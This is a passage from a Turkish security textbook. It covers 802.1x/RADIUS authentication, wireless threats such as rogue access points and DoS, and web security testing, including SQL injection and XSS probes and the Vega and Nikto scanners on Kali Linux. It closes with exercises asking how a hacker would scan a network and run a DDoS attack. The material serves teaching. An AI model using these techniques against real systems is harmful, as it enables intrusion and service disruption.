aşamada “port” un kapalı olduğunu düşünürüz). Kimlik
gönderildikten sonra, Supplicant ve Authenticator arasında
kullanılan protokol, EAP veya daha doğru olarak, LAN
üzerinden EAP kapsülleme (EAPOL) üzerinden kimlik
doğrulama işlemi başlar.
AP ve Kimlik Doğrulama Sunucusu arasında kimlik doğrulama
mesajlarını taşımak için, genellikle Şekil 5.3'te gösterildiği gibi
(Uzak Kimlik Doğrulama Çevirmeli Kullanıcı Hizmeti)
RADIUS protokolü kullanılır. Başarılı kimlik doğrulamasından
sonra, AP, müşteriye kablosuz iletişim ağı üzerinden iletişim
kurma yetkisi verir. Yerel iletişim altyapısında veya Internet'te
erişilebilir servisler ile bağlantıya sahip olur. Bu kimlik
doğrulama modelinde, RADIUS servisi, kullanıcıların merkezi
yönetimine ve onların erişim ayrıcalıklarına izin verme amacına
hizmet eder.
154
Şekil 5-3 802.1x'te kimlik doğrulama modeli (RADIUS ile)
802.1x'in çeşitli yönetimsel ve güvenlikle ilgili avantajlara sahip
olduğu dikkat çekicidir. İdari düzeyde, tüm kullanıcı yönetimi
ağda kullanılan AP sayısından bağımsız olarak merkezi olarak
(RADIUS sunucusunda) gerçekleştirilebilir. Ayrıca, farklı EAP
yöntemlerinin desteği, farklı kimlik doğrulama stratejilerine
sahip kullanıcıların yetkilendirilmesini sağlar; örneğin Linux
veya Microsoft Windows işletim sistemlerini kullanan
istemciler. Güvenlik açısından 802.1x'in bir başka avantajı da
anahtar yönetimi ile ilgilidir, çünkü müşteri başına tek bir
anahtar üretilir ve bu anahtar da periyodik olarak yenilenir ve
böylece ağın genel güvenliğine önemli ölçüde katkıda bulunur.
5.1.7 Kablosuz Ağların Güvenliğine Tehditler
Artık kablosuz yerel alan ağlarının güvenliği ve istikrarı için
başlıca tehditleri belirleyerek ilerliyoruz.
5.1.8 İletişimin kesilmesi
Daha önce gözlemlediğimiz gibi, WPA2 (ve bu konu için IEEE
802.11i) iletişimde gizliliği ve bütünlüğü garanti etmek için
CCMP ile AES kullanır. Bununla birlikte, birçok ağ hala
WEP'in (WPA standardı bağlamında) güvensizliğine erken bir
yanıt vermek için tasarlanmış olan TKIP'yi kullanmaktadır,
ancak şu anda çeşitli saldırılara karşı savunmasız kalmaktadır,
örn. Bütünlük denetim mekanizmasında, Adres Çözümleme
155
Protokolü (ARP) protokolü tarafından kullanılanlar gibi belirli
çerçeveleri iletişim içine enjekte ederek yapılan saldırılar haka
devam etmektdir. Bu nedenle, halen TKIP'yi kullanan ağların,
WPA2 spesifikasyonu (ve IEEE 802.11i standardı) ile tamamen
uyumlu olması için, CCMP ile AES için yeniden
yapılandırılması gerektiğini düşünebiliriz.
5.1.9 Hizmet Reddi (DoS- Denial of Service) saldırıları
Bir radyo frekansı kanalı üzerinden paylaşılan bir iletişim
ortamının desteklenmesi nedeniyle, kablosuz yerel alan ağları
özellikle Hizmet Reddi (DoS) saldırılarına karşı savunmasızdır.
Şu anda bu soruna tam bir çözüm bulunmamakla birlikte,
mevcut ağların 802.11n teknolojisine geçişinin, özellikle 5 GHz
frekans bandına geçerek şu ana göre daha az tıkanıklık ile bir
radyo frekansı alanı olduğundan bu problemi hafifletmeye
katkıda bulunabileceğini düşünmenizi faydalı buluyoruz.
Ayrıca, tabii ki IEEE 802.11 protokolüne bir eklenti olarak
IEEE tarafından belirtilen 802.11 w' de önemli bir etkendir.
802.11w ayrıca PMF (Korunan Yönetim Çerçeveleri) olarak
bilinir ve yönetim çerçevelerinin şifrelenmesine ve kimlik
doğrulamasına izin verir. 802.11w, bu gibi karelere, özellikle
bir istemcinin ilişkilendirmesini veya ağa kimlik doğrulamasını
devre dışı bırakmak için kullanılanlara şifreleme koruması
ekler. Standart olarak ayrıca, bir saldırının sonucu olarak ağ ile
bağlantısı olan bir istemcinin ağ ile bağlantısının kesilmesini
önleyen bir mekanizmayı da tanımlar. Bu nedenle genel amaç,
WPA2 bağlamında güvenlik mekanizmalarının bir başka
bileşeni olarak 802.11w'yi çalıştırarak ağdaki kontrol ve
yönetim mesajlarının meşruiyetini doğrulayabilmektir.
5.1.10 Rogue Erişim Noktaları
Kablosuz ağlarda uzun zamandır devam eden güvenlik
tehditlerinden biri gayri meşru AP'lerin kullanımıdır. Bu tür
AP'ler, bir ap'yi yerel bir ağa (örneğin kurumsal bir ortamda)
izinsiz olarak bağlamada veya diğer taraftan kullanıcının kimlik
bilgilerini ve diğer hassas bilgileri çalmak amacıyla ortaya
156
çıkan riskin farkında olmayan kullanıcılar tarafından kurulabilir.
Bu son durumda, AP'yi yasadışı veya “haydut” olarak
tanımlarız. Bu tür tehditlere yanıt olarak, kablosuz iletişim
altyapısında mevcutsa, kablosuz denetleyiciler, radyo alanını
kontrol edebilecek ve yasadışı Erişim Noktalarını tespit
edebilecekleri için değerli yardımlar sunarlar. Böyle kötü
amaçlı AP'lerden biri bulunursa, denetleyici ağ bağlantısını
kesebilir veya güvenlik yöneticisini uyarır. Bir kontrolör,
böylece bir Kablosuz İzinsiz Giriş Önleme Sistemi (WIPS)
bağlamında önemli bir bileşen olarak hareket edebilir.
Sahte AP'lerin varlığıyla ilgili özellikle tehlikeli bir saldırı, bir
saldırgan tarafından, yerel ağda kullanılan SSID'yi açıklayan bir
AP'nin aktivasyonudur. Bu nedenle böylesi bir durumda,
saldırganın bir MITM saldırısı yapması için fırsat meydana
gelebilir. Bu saldırıda, yasadışı AP ile ilişkilendirilmiş herhangi
bir kullanıcı, saldırganın saldırıya maruz kalmadan, saldırgan
tarafından serbestçe kaydedilebileceği ve analiz edilebileceği
için, saldırgan tarafından kolayca savunmasız hale getirilir.
5.1.11 İstemciler tarafından kullanılan yazılımdaki
güvenlik açıkları
Kablosuz ağın güvenliği ile ilgili olarak düşünülmesi gereken
bir diğer husus, müşteri sistemlerinde güvenlik açıkları
olasılığıdır. Aslında, işletim sisteminin kablosuz ağa erişimi
yönetmek için kullandığı yazılım, hata ve yazılım güvenlik
açıkları içerebilir. Son yıllarda, çeşitli işletim sistemlerinde
kablosuz ağ arayüzlerini kontrol etmek için kullanılan ve
uzaktan kod çalıştırılabilen bir dizi güvenlik sorunu ortaya
çıkmıştır. Diğer birçok güvenlik sorununda olduğu gibi, çözüm,
yazılımların güncel kalmasını sağlamaktır. Sistemlerde bu tür
güvenlik açıklarının taranmasına yardımcı olmak amacıyla
tasarlanmış uygulamalar bulunmaktadır. WiFiDenum aracı bu
sınıfa aittir ve ağdaki her ana bilgisayardaki Wi-Fi sürücülerini
(ve sürümlerini) numaralandırmanın kolay bir yolunu sağlar,
böylece yerel ağda kullanılan sürücülerin ya da savunmasız
sürücülerinin tanımlanmasını kolaylaştırır.
157
6 Bölüm F
6.1 Web Güvenliği (Web Güvenlik Açığı ve
Güvenlik Test Teknikleri)
SQL Injection saldırılarıyla daha önce gözlemlediğimiz gibi,
güvenliğin önemli bir yönü web siteleri ve uygulamaların
güvenliği ile ilgilidir. Web siteleri güvenlik risklerine
eğilimlidir ve web sunucularının bağlı olduğu ağlardır.
Aşağıdaki analizimizde, bir web sitesinin güvenliğini ve
güvenlik açıklarını test etmek amacıyla kullanılabilecek
tekniklere odaklanıyoruz. Web güvenliği, bulut güvenliği ile
derinden ilişkilidir ve birçok şirket ve kuruluş için en büyük
endişelerden biridir. Güvenlik testi, güvenlik
mekanizmalarındaki kusurları ortaya çıkarmak ve web
sunucularının ve uygulamalarının zayıf noktalarını veya zayıf
noktalarını bulmak amacıyla gerçekleştirilen bir süreçtir.
Güvenlik testinin asıl amacı, bir sistemin ne kadar savunmasız
olabileceğini bulmak ve verilerin ve kaynakların potansiyel
davetsiz misafirlerden korunup korunmadığını analiz etmektir.
Daha önce SQL Injection saldırılarının oluşturduğu tehditleri
tartıştık, ancak web uygulamalarına yönelik saldırılar
bağlamında başka bir tehdit unsuru da bulunmaktadır. Ayrıcalık
yükselmesi, bir sistemde bir hesaba sahip olan bir hackerın,
sistem ayrıcalıklarını arttırmak için kullanabileceği ve başarılı
olursa, ele geçirilen sistemde yüksek ayrıcalıklar kazandığı bir
saldırı sınıfıdır. Siteler arası komut dosyası yazma (veya XSS)
saldırıları, web uygulamalarının güvenlik açıkları ile ilgili
notları da içerir, bu durumda saldırganların, diğer kullanıcıların
gördüğü web sayfalarına istemci tarafı komut dosyalarını
enjekte etmesine olanak verirken, aynı zamanda kullanıcıyı
158
tıklamaya zorlar. Belirli bir URL’de hedef kullanıcının
tarayıcısını çalıştırdıktan sonra kötü amaçlı kod, kişisel verileri
çalmak veya kullanıcı adına herhangi bir işlem yapmak gibi
işlemleri rahatlıkla gerçekleştirebilir.
6.1.1 Güvenlik testine yaklaşımlar
Bir web sunucusuna veya uygulamaya karşı tehditlerin
önlenmesi, güvenlik yöneticisinin bir istemci (tarayıcı) ve web
uygulamasını barındıran sunucu arasında kullanılan iletişim
protokolü hakkında iyi bir bilgiye sahip olmasını gerektirir.
Daha önce tartıştığımız gibi, temel SQL enjeksiyonu ve XSS
saldırılarının nasıl gerçekleştirildiğini anlamak da önemlidir.
Her ne kadar web güvenliği ile ilgili çeşitli test yaklaşımları
mevcut olsa da, bu bağlamda bazı temel yöntemleri belirliyoruz.
6.1.2 Şifre kırma
Bu kategorideki testler, web uygulamasının özel alanlarına giriş
yapmaya çalışmayı, örneğin kullanıcı adları ve parolaların test
için kombinasyonlarını kullanmayı veya aynı amaçla ortak bir
şifre kırıcı aracını kullanmayı içerebilirler. Diğer saldırı vektörü
bu bağlamda sunucunun çerezleri nasıl işlediğini incelemektir.
Bir kullanıcı adı ve şifreyi şifrelemeden saklamak için bir çerez
kullanılırsa, bu bilgi bir saldırganın kolay erişime açık olabilir.
6.1.3 URL manipülasyonu
Bir güvenlik yöneticisinin gerçekleştirebileceği diğer önemli bir
test, web uygulamasının sorgu dizelerinde önemli bilgileri geçip
geçmediğini doğrulamaktır ve bu uygulama, istemci ile istemci
arasında bilgi aktarmak için Köprü Metni Aktarım Protokolü
(http- Hypertext Transfer Protocol) “GET” yöntemini
kullandığında gerçekleşir. Sunucu, önemli bilgilerle sorgu
dizesindeki parametrelerden geçirilir. Saldırganın yanı sıra
güvenlik test cihazı, web sunucusunun savunmasız olup
olmadığını belirlemek için sunucunun kabul edip etmediğini
159
doğrulamak için sorgu dizesindeki bir parametre değerini
değiştirebilir.
6.1.4 SQL Injection'a karşı test
Daha önce tartışıldığı gibi, SQL enjeksiyon teknikleri çeşitlidir
ve örneğin, uygulama tarafından reddedilmesi gereken herhangi
bir metin kutusunda tek bir alıntı (‘) girilmesinden oluşabilir.
Örneğin, bir test sonucunda bir veritabanı hatası web
uygulaması tarafından döndürüldüğünde, bu, sorguya eklenmiş
olan kullanıcı girdisinin web uygulaması tarafından yürütüldüğü
anlamına da gelebilir, bu da sunucunun savunmasız olabileceği
anlamına gelebilir. Bakınız…. SQL Injection saldırıları.
6.1.5 XSS saldırılarına karşı test
Diğer önemli test, web uygulamasını XSS saldırılarına karşı
kontrol etmektir. Bu bağlamda, sunucunun HTML (ör. <Html>)
veya komut dosyası (ör. <Script>) etiketlerini kabul edip
etmediğini ve eğer varsa, uygulamanın bu sınıfa yönelik
saldırılara karşı savunmasız olduğunu gösterebileceğini test
edebiliriz. Saldırgan, kurbanın tarayıcısında kötü amaçlı komut
dosyaları çalıştırmak için bu tür etiketleri işlemek için
sunucunun açıklığını keşfedebilir.
6.1.6 Güvenlik Açığı Tarayıcılar
Şimdi, bir web uygulamasının bilinen saldırılara karşı test
edildiğinde kullanılabileceğini kanıtlayabilecek güvenlik
denetim araçlarının kullanımını tartışmaya devam ediyoruz. Bu
tür araçlar, tek bir uygulamada, bir dizi önceden tanımlanmış
testin entegrasyonunun avantajını sunar ve bu testlerin bir
sonucu olarak yönetici, web uygulamasında bulunan güvenlik
açıkları hakkında bir rapor alabilir. Bağlamda ve Vega güvenlik
açığı tarayıcıda özellikle ilginç bir araç analiz ederek
başlıyoruz.
160
6.1.7 Vega Güvenlik Açığı Tarayıcısı
Bir web sitesinin güvenliğini taramak için yararlı bir araç, Vega
Vulnerability Scanner'dır. Bu, web uygulamalarının
güvenliğini, SQL Injection, Cross-Site Scripting (XSS) ve
hassas bilgilerin açıklanmasına neden olan diğer saldırılar gibi
saldırılara karşı test etmek için açık kaynaklı bir web güvenlik
tarayıcısı ve web güvenlik testi platformudur. Bu tarayıcı,
diğerlerinin yanı sıra yansıyan XSS, depolanmış XSS, kör SQL
Enjeksiyonu, uzak dosya dahil kabuk kabuğu enjeksiyonu gibi
güvenlik açıklarını bulmak için kullanılabilir.
Diğer araçlara gelince, Vega'nın Kali Linux test sistemimize
zaten yüklenip yüklenmediğini doğrulayarak başlıyoruz ve eğer
değilse, Şekil 6.1’de gösterildiği gibi kurulabilir. Kali Linux'ta
araçlar kategorilere ayrılır, bu yüzden Vega Zafiyet Tarayıcı,
kurulumdan sonra, “Uygulamalar” ve “Web Uygulama Analizi”
altında, Şekil 6-2'de gösterildiği gibi mevcut olmalıdır.
161
Şekil 6-1 Kali Linux'ta Vega Kurulumu
Şekil 6-2 Vega güvenlik açığı tarayıcısının kullanılabilirliği
Artık Kali Linux test sistemimize hazır olan Vega güvenlik
tarayıcımız bulunmaktadır ve bu araç ile bir web sitesini
taramaya başlayabiliriz. Taramayı başlatmak için, uygulamanın
sol üst kısmındaki "Tara" menüsünü kullanabilir ve "Yeni
Taramayı Başlat" a tıklayabiliriz. Deneysel amacımız için
HackThisSite'ı test ediyoruz! web sitesi
(https://www.hackthissite.org adresinde mevcuttur). Şekil
6.3’te, Vega güvenlik açığı tarayıcısındaki tarama hedefimizin
tanımını gösteriyoruz.
162
Şekil 6-3 Bir web uygulamasının güvenlik açığını taramak için hedefin tanımı
Vega tarayıcı, aralarında SQLi, XSS ve XML enjeksiyon
güvenlik açıklarının bulunduğu çok çeşitli ortak web sunucusu
güvenlik açıklarını bulmak için tasarlanmış modülleri kullanır.
Varsayılan olarak, güvenlik analizi mevcut tüm modülleri
kullanır, ancak, uygunsa, Şekil 6.4'te gösterildiği gibi, hedef
web sitesine uygulanmayan modüllerin seçimini kaldırabiliriz.
163
Şekil 6-4 Güvenlik açığı taraması için modül seçimi
Bir tarama, web sitesinin boyut ve yapısına ve mevcut ağ
bağlantısına ve tarayıcı tarafından istihdam edilen saniyede
istek sayısına (bu aracın tercihlerine göre ayarlayabileceğimiz)
bağlı olarak birkaç dakikadan çeşitli saatlere kadar herhangi bir
yere götürebilir. Tarama tamamlandığında, şekil 6.5’te
gösterildiği gibi bulunan güvenlik açıklarını ayrıntılı bir rapor
sağlayacaktır.
164
Şekil 6-5 Güvenlik açığı taramasından sonraki özet rapor
Uyarılardan birine tıklayarak, güvenlik açığının denetlenmekte
olan web sitesindeki olası etkisini açıklayan bilgiler alırız ve bu
bilgiler, eldeki güvenlik açığı hakkında daha fazla bilgi
edinmeye yardımcı olabilecek referansları da içerir.
6.1.8 Nikto Vulnerability Scanner
Belirli bir hedef alanın savunmasız olabileceğini veya
olmayabileceğini analiz etmede bir başka yararlı araç nikto’dur.
Bu araç, bir web sunucusuna karşı kapsamlı bir testler
gerçekleştirebilen ve altı binden fazla potansiyel güvenlik
açıklarını tarayabilen açık kaynaklı bir güvenlik tarayıcısıdır.
Test edilen güvenlik açıkları, web sitesinin desteklediği, eski
uygulama sürümleri veya sürüme özgü sorunlara yol açabilecek
tehlikeli dosya veya programlarla ilişkili olabilir. Bu araç
ayrıca, birden çok dizin dosyasının veya güvenli olmayan
sunucu seçeneklerinin varlığı gibi yapılandırma ile ilgili sunucu
165
öğelerini de denetler ve yüklenen web sunucularını ve
yazılımlarını tanımlamaya çalışır.
Nikto'daki tarama öğeleri ve eklentileri sık sık güncellenir ve
benzer şekilde sqlmap'e benzer şekilde, bu araç Kali Linux'ta
kolayca kullanılabilir. Şekil 6.6’da bir web sunucusuna karşı bir
güvenlik açığı taraması testinde nikto kullanımını
göstermektedir.
Şekil 6-6 Güvenlik açığı taraması yapmak için nikto kullanımı
Bu araç bir web sitesini inceler ve potansiyel olarak web sitesini
istismar etmek veya test etmek için kullanılabilecek potansiyel
güvenlik açıklarını bildirir. Ayrıca, bu aracın son derece
kullanışlı ve etkili olmasına rağmen, bu durumun gizli olmadığı,
bu nedenle izinsiz giriş algılama sistemine sahip herhangi bir
web sitesinin veya diğer güvenlik önlemlerinin, tarama
işlemlerini algılayabileceğini de lütfen dikkate alınız.
Şekil 6.6’da gözlemleyebileceğimiz gibi, nikto web sunucusunu
(Apache'yi kullanarak) ve potansiyel güvenlik açıklarını test
etmek ve tanımlamak için bir sonraki geliri
tanımlayabilmektedir. Tespit edilen her bir güvenlik açığı, ilgili
OSVDB (pen Source Vulnerabilities Database-Açık Kaynaklı
Güvenlik Açıkları Veritabanı) tanımlayıcısı tarafından
166
tanımlanır. Nikto'nun tarama işlemleri, önce sunucu hakkında
bilgi elde etmek ve sunucu tarafından tutulan çeşitli dizinlere bir
sonraki dönüşümden oluşur. Nikto'yu çalıştırmanın sonucunda,
“report.html” dosyasında saklanan örneğimizde bulunan
güvenlik açıklarının bir raporunu alıyoruz. Bu rapor, Şekil
6.7'de gösterildiği gibi bir web tarayıcısı kullanılarak
görselleştirilebilir.
Şekil 6-7 nikto tarafından üretilen güvenlik açıkları raporu
167
7 SIRA SİZDE
İş yerinize gelen bir hacker sizden internet için bir
hat ister. Ancak teknisyen genel ağa bağlı bir hat tahsis eder.
Hacker bu sayede ağda olan ve açık tüm cihazları bulmak ister.
Sizce Kali Linux kullanarak bunu nasıl yapabilir.
…………………………………………………………………
…………………………………………………………………
…………………………………………………………………
Hacker ağda bulduğu bir bilgisayarı hedef olarak
seçmektedir. Daha iyi araçlar kullanmak için işletim sistemini
ve açık olan portları öğrenmek ister. Bunun için ne yapmalıdır.
…………………………………………………………………
…………………………………………………………………
…………………………………………………………………
168
İnternete açık web siteniz üzerinden firmanız yada
şahsınız ile ilgi bilgi toplamak isteyen bir hacker bunu direk
bağlantıya geçmeyecek şekilde nasıl yapabilir. Bildiğiniz online
yöntemleri yazınız.
…………………………………………………………………
…………………………………………………………………
…………………………………………………………………
Bir DDOS Atağı nedir ve Kali ile IP maskele
yöntemi kullanılarak nasıl yapılabilir.
…………………………………………………………………
…………………………………………………………………
…………………………………………………………………